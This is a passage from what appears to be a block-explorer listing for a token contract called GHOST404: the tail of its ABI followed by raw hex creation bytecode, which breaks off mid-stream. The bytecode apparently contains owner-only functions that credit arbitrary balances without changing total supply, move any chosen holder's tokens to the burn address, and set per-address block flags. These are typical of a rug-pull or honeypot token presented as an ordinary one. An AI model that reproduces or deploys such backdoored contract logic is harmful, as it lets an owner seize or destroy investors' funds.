ype":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052620000146200072860201b60201c565b600a620000229190620008fc565b6113886200003191906200094d565b60035560c860065560c860075560646008556127106009557352aea4f80646a5a8131bcb19fa12bc98577bf194600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061dead600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620000f16200072860201b60201c565b600a620000ff9190620008fc565b6101f46200010e91906200094d565b600c556001600d60016101000a81548160ff0219169083151502179055506001600d60026101000a81548160ff0219169083151502179055506001601760016101000a81548160ff0219169083151502179055503480156200016f57600080fd5b5060405162005e4f38038062005e4f833981810160405281019062000195919062000a02565b6000620001a76200073160201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506040518060400160405280600c81526020017f47484f53543430342e58595a0000000000000000000000000000000000000000815250600490816200028b919062000ca4565b506040518060400160405280600881526020017f47484f535434303400000000000000000000000000000000000000000000000081525060059081620002d2919062000ca4565b50600354600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620003c8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003ee919062000a02565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000478573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200049e919062000a02565b6040518363ffffffff1660e01b8152600401620004bd92919062000d9c565b6020604051808303816000875af1158015620004dd573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000503919062000a02565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600354600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600e6000620005fe6200073960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600e60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600f6000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505062000dc9565b60006012905090565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620007f057808604811115620007c857620007c762000762565b5b6001851615620007d85780820291505b8081029050620007e88562000791565b9450620007a8565b94509492505050565b6000826200080b5760019050620008de565b816200081b5760009050620008de565b81600181146200083457600281146200083f5762000875565b6001915050620008de565b60ff84111562000854576200085362000762565b5b8360020a9150848211156200086e576200086d62000762565b5b50620008de565b5060208310610133831016604e8410600b8410161715620008af5782820a905083811115620008a957620008a862000762565b5b620008de565b620008be84848460016200079e565b92509050818404811115620008d857620008d762000762565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b60006200090982620008e5565b91506200091683620008ef565b9250620009457fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620007f9565b905092915050565b60006200095a82620008e5565b91506200096783620008e5565b92508282026200097781620008e5565b9150828204841483151762000991576200099062000762565b5b5092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620009ca826200099d565b9050919050565b620009dc81620009bd565b8114620009e857600080fd5b50565b600081519050620009fc81620009d1565b92915050565b60006020828403121562000a1b5762000a1a62000998565b5b600062000a2b84828501620009eb565b91505092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000ab657607f821691505b60208210810362000acc5762000acb62000a6e565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000b367fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000af7565b62000b42868362000af7565b95508019841693508086168417925050509392505050565b6000819050919050565b600062000b8562000b7f62000b7984620008e5565b62000b5a565b620008e5565b9050919050565b6000819050919050565b62000ba18362000b64565b62000bb962000bb08262000b8c565b84845462000b04565b825550505050565b600090565b62000bd062000bc1565b62000bdd81848462000b96565b505050565b5b8181101562000c055762000bf960008262000bc6565b60018101905062000be3565b5050565b601f82111562000c545762000c1e8162000ad2565b62000c298462000ae7565b8101602085101562000c39578190505b62000c5162000c488562000ae7565b83018262000be2565b50505b505050565b600082821c905092915050565b600062000c796000198460080262000c59565b1980831691505092915050565b600062000c94838362000c66565b9150826002028217905092915050565b62000caf8262000a34565b67ffffffffffffffff81111562000ccb5762000cca62000a3f565b5b62000cd7825462000a9d565b62000ce482828562000c09565b600060209050601f83116001811462000d1c576000841562000d07578287015190505b62000d13858262000c86565b86555062000d83565b601f19841662000d2c8662000ad2565b60005b8281101562000d565784890151825560018201915060208501945060208101905062000d2f565b8683101562000d76578489015162000d72601f89168262000c66565b8355505b6001600288020188555050505b505050505050565b62000d9681620009bd565b82525050565b600060408201905062000db3600083018562000d8b565b62000dc2602083018462000d8b565b9392505050565b6150768062000dd96000396000f3fe6080604052600436106102b25760003560e01c80636ddd171311610175578063b70c2841116100dc578063dd62ed3e11610095578063e2f456051161006f578063e2f4560514610af3578063f2fde38b14610b1e578063f9fa48c314610b47578063fb8bd26f14610b72576102b9565b8063dd62ed3e14610a64578063de8f151714610aa1578063e01af92c14610aca576102b9565b8063b70c284114610968578063c10ea0a514610993578063c816841b146109bc578063cc1776d3146109e7578063ce1fd38014610a12578063d6c65f4614610a3b576102b9565b806395d89b411161012e57806395d89b4114610848578063a1c61f5014610873578063a457c2d71461089c578063a9059cbb146108d9578063ae96ffe614610916578063afa4f3b21461093f576102b9565b80636ddd17131461073657806370a082311461076157806375f0a8741461079e578063860aefcf146107c957806389fe8507146107f45780638da5cb5b1461081d576102b9565b806327722f6a116102195780635342acb4116101d25780635342acb4146106185780635881f3ef1461065557806359fa6d72146106925780635b65b9ab146106bb57806363244555146106e45780636d2f2ed61461070d576102b9565b806327722f6a146104f2578063313ce5671461051d57806331cd1acd1461054857806339509351146105735780633ecad271146105b05780634f7041a5146105ed576102b9565b806317a6954b1161026b57806317a6954b146103e257806318160ddd1461040b578063228cb7331461043657806323af46d91461046157806323b872dd1461048c57806326f0d8ce146104c9576102b9565b806303204989146102be57806306fdde03146102e7578063095ea7b3146103125780630f953cca1461034f578063107aa1891461037a5780631694505e146103b7576102b9565b366102b957005b600080fd5b3480156102ca57600080fd5b506102e560048036038101906102e09190614117565b610b9b565b005b3480156102f357600080fd5b506102fc610c8b565b60405161030991906141d4565b60405180910390f35b34801561031e57600080fd5b506103396004803603810190610334919061422c565b610d1d565b6040516103469190614287565b60405180910390f35b34801561035b57600080fd5b50610364610d40565b6040516103719190614287565b60405180910390f35b34801561038657600080fd5b506103a1600480360381019061039c91906142ce565b610d53565b6040516103ae919061431d565b60405180910390f35b3480156103c357600080fd5b506103cc610e0d565b6040516103d99190614397565b60405180910390f35b3480156103ee57600080fd5b50610409600480360381019061040491906142ce565b610e33565b005b34801561041757600080fd5b50610420610fb5565b60405161042d91906143c1565b60405180910390f35b34801561044257600080fd5b5061044b610fbf565b6040516104589190614287565b60405180910390f35b34801561046d57600080fd5b50610476610fd2565b6040516104839190614287565b60405180910390f35b34801561049857600080fd5b506104b360048036038101906104ae91906143dc565b610fe5565b6040516104c09190614287565b60405180910390f35b3480156104d557600080fd5b506104f060048036038101906104eb919061442f565b611015565b005b3480156104fe57600080fd5b506105076110e6565b60405161051491906143c1565b60405180910390f35b34801561052957600080fd5b506105326110ec565b60405161053f9190614478565b60405180910390f35b34801561055457600080fd5b5061055d6110f5565b60405161056a91906143c1565b60405180910390f35b34801561057f57600080fd5b5061059a6004803603810190610595919061422c565b6110fb565b6040516105a79190614287565b60405180910390f35b3480156105bc57600080fd5b506105d760048036038101906105d29190614117565b611132565b6040516105e49190614287565b60405180910390f35b3480156105f957600080fd5b50610602611152565b60405161060f91906143c1565b60405180910390f35b34801561062457600080fd5b5061063f600480360381019061063a9190614117565b611158565b60405161064c9190614287565b60405180910390f35b34801561066157600080fd5b5061067c60048036038101906106779190614117565b611178565b604051610689919061431d565b60405180910390f35b34801561069e57600080fd5b506106b960048036038101906106b4919061442f565b611587565b005b3480156106c757600080fd5b506106e260048036038101906106dd9190614493565b611639565b005b3480156106f057600080fd5b5061070b60048036038101906107069190614117565b611749565b005b34801561071957600080fd5b50610734600480360381019061072f9190614117565b611839565b005b34801561074257600080fd5b5061074b611929565b6040516107589190614287565b60405180910390f35b34801561076d57600080fd5b5061078860048036038101906107839190614117565b61193c565b60405161079591906143c1565b60405180910390f35b3480156107aa57600080fd5b506107b3611985565b6040516107c0919061431d565b60405180910390f35b3480156107d557600080fd5b506107de6119ab565b6040516107eb91906143c1565b60405180910390f35b34801561080057600080fd5b5061081b600480360381019061081691906144e6565b6119b1565b005b34801561082957600080fd5b50610832611a50565b60405161083f919061431d565b60405180910390f35b34801561085457600080fd5b5061085d611a79565b60405161086a91906141d4565b60405180910390f35b34801561087f57600080fd5b5061089a6004803603810190610895919061442f565b611b0b565b005b3480156108a857600080fd5b506108c360048036038101906108be919061422c565b611bbd565b6040516108d09190614287565b60405180910390f35b3480156108e557600080fd5b5061090060048036038101906108fb919061422c565b611c34565b60405161090d9190614287565b60405180910390f35b34801561092257600080fd5b5061093d600480360381019061093891906144e6565b611c58565b005b34801561094b57600080fd5b50610966600480360381019061096191906144e6565b611cf7565b005b34801561097457600080fd5b5061097d611de7565b60405161098a9190614287565b60405180910390f35b34801561099f57600080fd5b506109ba60048036038101906109b59190614117565b611dfa565b005b3480156109c857600080fd5b506109d1611f9c565b6040516109de919061431d565b60405180910390f35b3480156109f357600080fd5b506109fc611fc2565b604051610a0991906143c1565b60405180910390f35b348015610a1e57600080fd5b50610a396004803603810190610a349190614117565b611fc8565b005b348015610a4757600080fd5b50610a626004803603810190610a5d919061442f565b6120b8565b005b348015610a7057600080fd5b50610a8b6004803603810190610a869190614513565b61216a565b604051610a9891906143c1565b60405180910390f35b348015610aad57600080fd5b50610ac86004803603810190610ac3919061422c565b6121f1565b005b348015610ad657600080fd5b50610af16004803603810190610aec919061442f565b612318565b005b348015610aff57600080fd5b50610b086123e9565b604051610b1591906143c1565b60405180910390f35b348015610b2a57600080fd5b50610b456004803603810190610b409190614117565b6123ef565b005b348015610b5357600080fd5b50610b5c6125b0565b604051610b6991906143c1565b60405180910390f35b348015610b7e57600080fd5b50610b996004803603810190610b94919061422c565b6125b6565b005b610ba36129ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c30576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c279061459f565b60405180910390fd5b6000601360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b606060048054610c9a906145ee565b80601f0160208091040260200160405190810160405280929190818152602001828054610cc6906145ee565b8015610d135780601f10610ce857610100808354040283529160200191610d13565b820191906000526020600020905b815481529060010190602001808311610cf657829003601f168201915b5050505050905090565b600080610d286129ff565b9050610d35818585612a07565b600191505092915050565b601760009054906101000a900460ff1681565b6000610d5d6129ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de19061459f565b60405180910390fd5b81601760026101000a81548160ff02191690831515021790555082905092915050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610e3b6129ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ec8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ebf9061459f565b60405180910390fd5b801515600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503610f5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f519061466b565b60405180910390fd5b80600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600354905090565b601460009054906101000a900460ff1681565b600d60029054906101000a900460ff1681565b600080610ff06129ff565b9050610ffd858285612bd0565b611008858585612c5c565b5060019150509392505050565b61101d6129ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a19061459f565b60405180910390fd5b801515600d60029054906101000a900460ff161515036110c957600080fd5b80600d60026101000a81548160ff02191690831515021790555050565b60155481565b60006012905090565b60085481565b6000806111066129ff565b9050611127818585611118858961216a565b61112291906146ba565b612a07565b600191505092915050565b600f6020528060005260406000206000915054906101000a900460ff1681565b60065481565b600e6020528060005260406000206000915054906101000a900460ff1681565b60006111826129ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461120f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112069061459f565b60405180910390fd5b60008290508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561125f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112839190614703565b73ffffffffffffffffffffffffffffffffffffffff1663e6a43905308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156112ea573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061130e9190614703565b6040518363ffffffff1660e01b815260040161132b929190614730565b602060405180830381865afa158015611348573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061136c9190614703565b9150600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036114ff578073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156113ed573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114119190614703565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611478573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061149c9190614703565b6040518363ffffffff1660e01b81526004016114b9929190614730565b6020604051808303816000875af11580156114d8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114fc9190614703565b91505b81601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050919050565b61158f6129ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461161c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116139061459f565b60405180910390fd5b80601760006101000a81548160ff02191690831515021790555050565b6116416129ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116c59061459f565b60405180910390fd5b61271083111580156116e257506127108211155b80156116f057506127108111155b61172f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611726906147a5565b60405180910390fd5b826006819055508160078190555080600881905550505050565b6117516129ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146117de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117d59061459f565b60405180910390fd5b6001601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6118416129ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146118ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118c59061459f565b60405180910390fd5b6000601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600d60019054906101000a900460ff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60165481565b6119b96129ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a46576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3d9061459f565b60405180910390fd5b8060158190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054611a88906145ee565b80601f0160208091040260200160405190810160405280929190818152602001828054611ab4906145ee565b8015611b015780601f10611ad657610100808354040283529160200191611b01565b820191906000526020600020905b815481529060010190602001808311611ae457829003601f168201915b5050505050905090565b611b136129ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ba0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b979061459f565b60405180910390fd5b80601460006101000a81548160ff02191690831515021790555050565b600080611bc86129ff565b90506000611bd6828661216a565b905083811015611c1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c1290614837565b60405180910390fd5b611c288286868403612a07565b60019250505092915050565b600080611c3f6129ff565b9050611c4c818585612c5c565b50600191505092915050565b611c606129ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ced576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ce49061459f565b60405180910390fd5b8060168190555050565b611cff6129ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611d8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d839061459f565b60405180910390fd5b60008111611d9957600080fd5b80600c5403611ddd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd4906148a3565b60405180910390fd5b80600c8190555050565b601760029054906101000a900460ff1681565b611e026129ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611e8f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e869061459f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611ec857600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1603611f58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f4f9061490f565b60405180910390fd5b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60075481565b611fd06129ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461205d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120549061459f565b60405180910390fd5b6001601360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6120c06129ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461214d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121449061459f565b60405180910390fd5b80601760016101000a81548160ff02191690831515021790555050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6121f96129ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612286576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161227d9061459f565b60405180910390fd5b80600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122d191906146ba565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6123206129ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146123ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123a49061459f565b60405180910390fd5b801515600d60019054906101000a900460ff161515036123cc57600080fd5b80600d60016101000a81548160ff02191690831515021790555050565b600c5481565b6123f76129ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612484576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161247b9061459f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036124f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124ea906149a1565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60095481565b6125be6129ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461264b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126429061459f565b60405180910390fd5b612653611a50565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036126c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126b790614a0d565b60405180910390fd5b670de0b6b3a7640000816126d49190614a2d565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411612874576000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460016000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461280a91906146ba565b60016000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506129fb565b670de0b6b3a7640000816128889190614a2d565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128d29190614a6f565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550670de0b6b3a7640000816129299190614a2d565b60016000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461299591906146ba565b60016000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612a76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a6d90614b15565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612ae5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612adc90614ba7565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051612bc391906143c1565b60405180910390a3505050565b6000612bdc848461216a565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114612c565781811015612c48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c3f90614c13565b60405180910390fd5b612c558484848403612a07565b5b50505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603612ccc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612cc390614ca5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612d3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d3290614d37565b60405180910390fd5b60008203612d5657612d4f848460006130c7565b90506130c0565b601760019054906101000a900460ff16156130a657600d60009054906101000a900460ff1615612d9257612d8b8484846130c7565b90506130c0565b6000612d9d3061193c565b90506000600c548210159050808015612dc35750600d60009054906101000a900460ff16155b8015612e1c5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b8015612e345750600d60019054906101000a900460ff165b15612e5e57600d60029054906101000a900460ff1615612e5457600c5491505b612e5d82613255565b5b83600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ea99190614a6f565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612f8f5750600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612fa357612f9e87878761329d565b612fa5565b845b905080600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ff291906146ba565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161309291906143c1565b60405180910390a3600193505050506130c0565b6130b08483613563565b6130bb84848461378b565b600190505b9392505050565b600081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131149190614a6f565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffff